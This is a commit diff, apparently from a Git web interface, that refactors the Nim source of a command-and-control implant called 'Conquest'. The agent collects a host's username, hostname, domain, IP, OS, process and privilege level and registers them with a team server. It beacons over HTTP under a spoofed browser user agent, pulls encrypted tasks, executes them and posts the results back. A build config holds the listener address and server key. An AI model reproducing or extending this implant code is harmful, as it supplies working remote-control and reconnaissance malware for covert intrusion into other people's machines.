Refactored utility functions to make them more readable and removed separate register endpoint.
This commit is contained in:
@@ -21,7 +21,7 @@ proc createHeartbeat*(config: AgentConfig): Heartbeat =
|
||||
|
||||
proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte] =
|
||||
|
||||
var packer = initPacker()
|
||||
var packer = Packer.init()
|
||||
|
||||
# Serialize check-in / heartbeat request
|
||||
packer
|
||||
|
||||
@@ -4,32 +4,7 @@ import ../../common/[types, utils]
|
||||
|
||||
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||
|
||||
proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||
|
||||
# Define HTTP headers
|
||||
client.headers = newHttpHeaders({
|
||||
"Content-Type": "application/octet-stream",
|
||||
"Content-Length": $registrationData.len
|
||||
})
|
||||
|
||||
let body = registrationData.toString()
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body)
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] [register]:", err.msg
|
||||
quit(0)
|
||||
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
return true
|
||||
|
||||
proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
|
||||
proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||
var responseBody = ""
|
||||
@@ -43,40 +18,38 @@ proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
|
||||
|
||||
try:
|
||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/tasks")
|
||||
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/get")
|
||||
return responseBody
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [getTasks]: " & err.msg
|
||||
echo "[-] " & err.msg
|
||||
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
return ""
|
||||
|
||||
proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} =
|
||||
proc httpPost*(config: AgentConfig, data: seq[byte]): bool {.discardable.} =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({
|
||||
"Content-Type": "application/octet-stream",
|
||||
"Content-Length": $resultData.len
|
||||
"Content-Length": $data.len
|
||||
})
|
||||
|
||||
let body = resultData.toString()
|
||||
|
||||
echo body
|
||||
let body = Bytes.toString(data)
|
||||
|
||||
try:
|
||||
# Send binary task result data to server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body)
|
||||
# Send post request to team server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/post", body)
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [postResults]: " & err.msg
|
||||
echo "[-] " & err.msg
|
||||
return false
|
||||
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
|
||||
@@ -209,12 +209,12 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
|
||||
agentPublicKey: config.agentPublicKey,
|
||||
metadata: AgentMetadata(
|
||||
listenerId: uuidToUint32(config.listenerId),
|
||||
username: getUsername().toBytes(),
|
||||
hostname: getHostname().toBytes(),
|
||||
domain: getDomain().toBytes(),
|
||||
ip: getIPv4Address().toBytes(),
|
||||
os: getOSVersion().toBytes(),
|
||||
process: getProcessExe().toBytes(),
|
||||
username: string.toBytes(getUsername()),
|
||||
hostname: string.toBytes(getHostname()),
|
||||
domain: string.toBytes(getDomain()),
|
||||
ip: string.toBytes(getIPv4Address()),
|
||||
os: string.toBytes(getOSVersion()),
|
||||
process: string.toBytes(getProcessExe()),
|
||||
pid: cast[uint32](getProcessId()),
|
||||
isElevated: cast[uint8](isElevated()),
|
||||
sleep: cast[uint32](config.sleep)
|
||||
@@ -223,7 +223,7 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
|
||||
|
||||
proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistrationData): seq[byte] =
|
||||
|
||||
var packer = initPacker()
|
||||
var packer = Packer.init()
|
||||
|
||||
# Serialize registration data
|
||||
packer
|
||||
|
||||
@@ -6,12 +6,12 @@ import ../../common/[types, serialize, sequence, crypto, utils]
|
||||
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
|
||||
try:
|
||||
return getCommandByType(cast[CommandType](task.command)).execute(config, task)
|
||||
except CatchableError:
|
||||
echo "[-] Command not found."
|
||||
except CatchableError as err:
|
||||
echo "[-] Invalid command. " & err.msg
|
||||
|
||||
proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
|
||||
|
||||
var unpacker = initUnpacker(bytes.toString)
|
||||
var unpacker = Unpacker.init(Bytes.toString(bytes))
|
||||
|
||||
let header = unpacker.deserializeHeader()
|
||||
|
||||
@@ -23,7 +23,7 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
|
||||
let decData= validateDecryption(config.sessionKey, header.iv, payload, header.seqNr, header)
|
||||
|
||||
# Deserialize decrypted data
|
||||
unpacker = initUnpacker(decData.toString)
|
||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||
|
||||
let
|
||||
taskId = unpacker.getUint32()
|
||||
@@ -54,7 +54,7 @@ proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] =
|
||||
|
||||
result = newSeq[Task]()
|
||||
|
||||
var unpacker = initUnpacker(packet)
|
||||
var unpacker = Unpacker.init(packet)
|
||||
|
||||
var taskCount = unpacker.getUint8()
|
||||
echo fmt"[*] Response contained {taskCount} tasks."
|
||||
|
||||
@@ -6,7 +6,7 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r
|
||||
header: Header(
|
||||
magic: MAGIC,
|
||||
version: VERSION,
|
||||
packetType: cast[uint8](MSG_RESPONSE),
|
||||
packetType: cast[uint8](MSG_RESULT),
|
||||
flags: cast[uint16](FLAG_ENCRYPTED),
|
||||
size: 0'u32,
|
||||
agentId: task.header.agentId,
|
||||
@@ -26,7 +26,7 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r
|
||||
|
||||
proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[byte] =
|
||||
|
||||
var packer = initPacker()
|
||||
var packer = Packer.init()
|
||||
|
||||
# Serialize result body
|
||||
packer
|
||||
|
||||
@@ -61,7 +61,9 @@ proc main() =
|
||||
var registration: AgentRegistrationData = config.collectAgentMetadata()
|
||||
let registrationBytes = config.serializeRegistrationData(registration)
|
||||
|
||||
config.register(registrationBytes)
|
||||
if not config.httpPost(registrationBytes):
|
||||
echo "[-] Agent registration failed."
|
||||
quit(0)
|
||||
echo fmt"[+] [{config.agentId}] Agent registered."
|
||||
|
||||
#[
|
||||
@@ -86,16 +88,16 @@ proc main() =
|
||||
var heartbeat: Heartbeat = config.createHeartbeat()
|
||||
let
|
||||
heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat)
|
||||
packet: string = config.getTasks(heartbeatBytes)
|
||||
packet: string = config.httpGet(heartbeatBytes)
|
||||
|
||||
if packet.len <= 0:
|
||||
echo "No tasks to execute."
|
||||
echo "[*] No tasks to execute."
|
||||
continue
|
||||
|
||||
let tasks: seq[Task] = config.deserializePacket(packet)
|
||||
|
||||
if tasks.len <= 0:
|
||||
echo "No tasks to execute."
|
||||
echo "[*] No tasks to execute."
|
||||
continue
|
||||
|
||||
# Execute all retrieved tasks and return their output to the server
|
||||
@@ -103,7 +105,7 @@ proc main() =
|
||||
var result: TaskResult = config.handleTask(task)
|
||||
let resultBytes: seq[byte] = config.serializeTaskResult(result)
|
||||
|
||||
config.postResults(resultBytes)
|
||||
config.httpPost(resultBytes)
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] ", err.msg
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
# Agent configuration
|
||||
-d:ListenerUuid="58A66E35"
|
||||
-d:ListenerUuid="7147A315"
|
||||
-d:Octet1="127"
|
||||
-d:Octet2="0"
|
||||
-d:Octet3="0"
|
||||
-d:Octet4="1"
|
||||
-d:ListenerPort=5555
|
||||
-d:SleepDelay=5
|
||||
-d:ServerPublicKey="OzczGQndMRzmaVcJo5USBBSrk76FsNlU8SNzCGbyVgo="
|
||||
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
|
||||
|
||||
Reference in New Issue
Block a user